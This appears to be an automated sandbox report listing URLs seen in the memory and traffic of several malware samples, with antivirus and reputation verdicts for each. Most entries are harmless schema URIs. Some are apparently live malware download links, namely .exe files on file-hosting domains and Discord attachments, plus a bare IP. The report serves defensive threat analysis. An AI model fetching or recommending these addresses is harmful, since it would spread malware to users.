http://host-file-host-3.com/files/8723_1638191106_2017.exe	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://host-file-host-3.com/files/5311_1638303032_7343.exe	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://host-file-host-3.com/files/6096_1638289274_6885.exe	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/914960103592054858/914986994759794738/Underdosed.exe	false		high
http://host-file-host-3.com/game.exe	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/914960103592054858/914961866462232616/Oldening.exe	false		high
http://privacytoolzforyou-7000.com/downloads/toolspab3.exe	true	Avira URL Cloud: malware	unknown
http://file-file-host4.com/sqlite3.dll	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	false		high
http://tempuri.org/Entity/Id12Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna	12F1.exe.6.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js	12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, 1EAA.exe, 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://socfinder.site/	12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973675321.0000000002C63000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtabWbP	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false		high
http://95.181.152.139	1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	12F1.exe, 00000009.00000002.975014024.00000000032C2000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961234629.0000000002950000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://cdn.discordapp.com	1EAA.exe, 00000014.00000002.973486115.0000000002C34000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://socfinder.site	12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22ResponseP	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19ResponseP	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22ResponseH	1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id19ResponseH	1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22Response	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978687020.00000000036EC000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	false		high
https://duckduckgo.com/chrome_newtabPa	12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
